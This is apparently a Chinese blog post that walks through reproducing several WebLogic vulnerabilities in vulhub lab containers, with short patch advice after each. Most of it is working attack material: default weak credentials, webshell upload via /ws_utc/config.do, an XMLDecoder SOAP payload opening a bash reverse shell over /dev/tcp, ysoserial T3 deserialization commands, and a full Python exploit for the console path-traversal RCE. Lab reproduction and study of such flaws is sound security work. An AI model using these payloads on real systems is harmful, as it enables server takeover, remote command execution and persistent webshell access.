根据vulhub已有的复现环境,对weblogic漏洞复现进行一个汇总,包括RCE、未授权任意文件上传、反序列化漏洞等,方便今后回顾学习
weblogic是oracle出品的java中间件
端口是7001
默认后台登录地址:http://your-ip:7001/console
常见弱口令:
system:password weblogic:weblogic admin:secruity
joe:password mary:password system:sercurity
wlcsystem: wlcsystem weblogic:Oracle@123
此网站可以搜索对应软件的默认密码
https://cirt.net/passwords?criteria=weblogic
漏洞原因:
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。
漏洞复现:
搭建 cd vulhub/weblogic/CVE-2018-2894
docker-compose up -d
访问 http://your-ip:7001/console 看是否搭建成功
访问/ws_utc/config.do(未授权访问)
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service
Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制,漏洞存在页面在/ws_utc/config.do。
所以我们漏洞复现的话需要手动准备一下环境:
查看管理员账号密码为 weblogic 密码为 uN21RTXC
登录管理员后台(输错密码5次会锁定账号,半个小时后才能登录,血的教训)
点击base_domain,再点击高级
启用web服务测试页
最后点击保存
现在可以访问我们的未授权页面/ws_utc/config.do
修改Work Home Dir:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css(因为访问这个目录不需要权限),之后点提交
之后就可以上传文件了,点击安全
点击添加,上传webshell(我选择冰蝎shell.jsp)
打开抓包,点击提交
可以看到返回包中有一个时间戳(应该是哈哈的那个id标签),待会要用
打开连接软件,这里我用冰蝎,路径为 http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名]
http://192.168.0.161:7001/ws_utc/css/config/keystore/1628751524774_shell.jsp
成功连接
2.3修复建议
使用oracle官方补丁升级;
漏洞原因:
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
漏洞复现:
先搭建环境(vulhub)
漏洞存在于以下路径:/wls-wsat/CoordinatorPortType11
先开一个监听,监听端口21
用burpsuite发送如下post报文
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/接收shell的ip/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
文件路径为 /bea_wls_internal/test1.jsp
尝试写一个jsp一句话木马上去
这里我上传的冰蝎马(这里注意要把中文都删掉,会对bp造成影响)
成功连接!
3. 修复建议:
打补丁、删除wls-wsat组件,然后重启weblogic(临时处理)
漏洞原因:
T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击.
(可通过nmap脚本–script=weblogic-t3-info查看weblogic版本信息和t3协议是否开启)
漏洞复现:
搭建vulhub环境
首先准备反序列化利用工具
ysoserial-cve-2018-2628,下载链接https://github.com/tdy218/ysoserial-cve-2018-2628/releases
expolit.py脚本,下载链接https://www.exploit-db.com/exploits/44553
存放在同一路径建议
先执行以下命令,开启一个监听端口,命令为创建一个test文件夹(并不是所有命令都能执行)
java -cp “ysoserial-0.1-cve-2018-2628-all.jar” ysoserial.exploit.JRMPListener 3333 Jdk7u21 “touch /tmp/test”
再执行该命令,必须使用python2环境
python2 exploit.py 192.168.0.161 7001 ysoserial-0.1-cve-2018-2628-all.jar 192.168.0.83 3333 JRMPClient去靶机上验证一下(没成功不知道怎么回事)
docker-compose exec weblogic bash
ls /tmp
修复建议:
及时更新补丁;禁用T3协议;禁止T3端口对外开放,或者限制可访问T3端口的IP来源
漏洞原因:
未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。
漏洞复现:
首先搭建环境
方法一:使用exp,相关exp如下:
import re
import sys
import requests
#下面这三行代码是为了解决requests的一个bug,就是Connection broken: IncompleteRead
#其实真正的原因我到现在也不清楚,但是下面这三行代码确实可以解决问题
#参考https://my.oschina.net/u/1538135/blog/858467
#python3.x中的httplib变成了http.client需要修改一下
import http.client
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
if len(sys.argv) <3:
print('用法:python exp.py http(s):target-ip:target-port command')
sys.exit()
baseurl = sys.argv[1]
#去掉url最后面的/
if baseurl[-1]=='/':
baseurl = baseurl[0:-1]
#命令中包含空格的情况
cmd = sys.argv[2]
if len(sys.argv) > 3:
i = 3
while i < len(sys.argv):
#在linux中可以使用${IFS}代替空格
#windows的话部分命令可以使用=替代空格,大家可以自行修改脚本
cmd += ' '
cmd += sys.argv[i]
i += 1
#调试的时候使用burp代理抓包,便于发现脚本的问题
proxy = {"http": "http://127.0.0.1:8080"}
res = baseurl + "/console/css/%252e%252e%252fconsole.portal"
#设置不跟随302重定向,不然会获取不到cookie
#response = requests.get(res, proxies=proxy,allow_redirects=False)
response = requests.get(res, allow_redirects=False)
cookie_raw = response.headers['Set-Cookie']
matchObj = re.match( r'(.*); path=/.*?', cookie_raw, re.M|re.I)
if matchObj:
cookie = matchObj.group(1)
#print(cookie)
else:
print('未获取到cookie!')
sys.exit();
#获取到cookie之后,发送第二个请求,用于执行命令
#注意 useDelimiter("\\A") 这个地方的两个\,需要再次转义,不然python会把其中一个作为
#转义符处理,导致真正发送的请求中只包含一个\
res = baseurl + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
headers = {"cookie":cookie, "cmd":cmd}
#response = requests.get(res, headers=headers, proxies=proxy, allow_redirects=False)
response = requests.get(res, headers=headers, allow_redirects=False)
print(response.text)
成功远程命令执行
方法二:未授权访问
url输入以下payload:
http://192.168.0.161:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
直接是一个未授权登录后台
方法三:抓包重放写入文件
修改请求行
GET /console/css/%252e%252e%252fconsole.portal_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(“java.lang.Runtime.getRuntime().exec(‘touch%20/tmp/20210819’);” HTTP/1.1
成功写入文件
修复建议
临时关闭后台/console/console.portal对外访问;安装最新补丁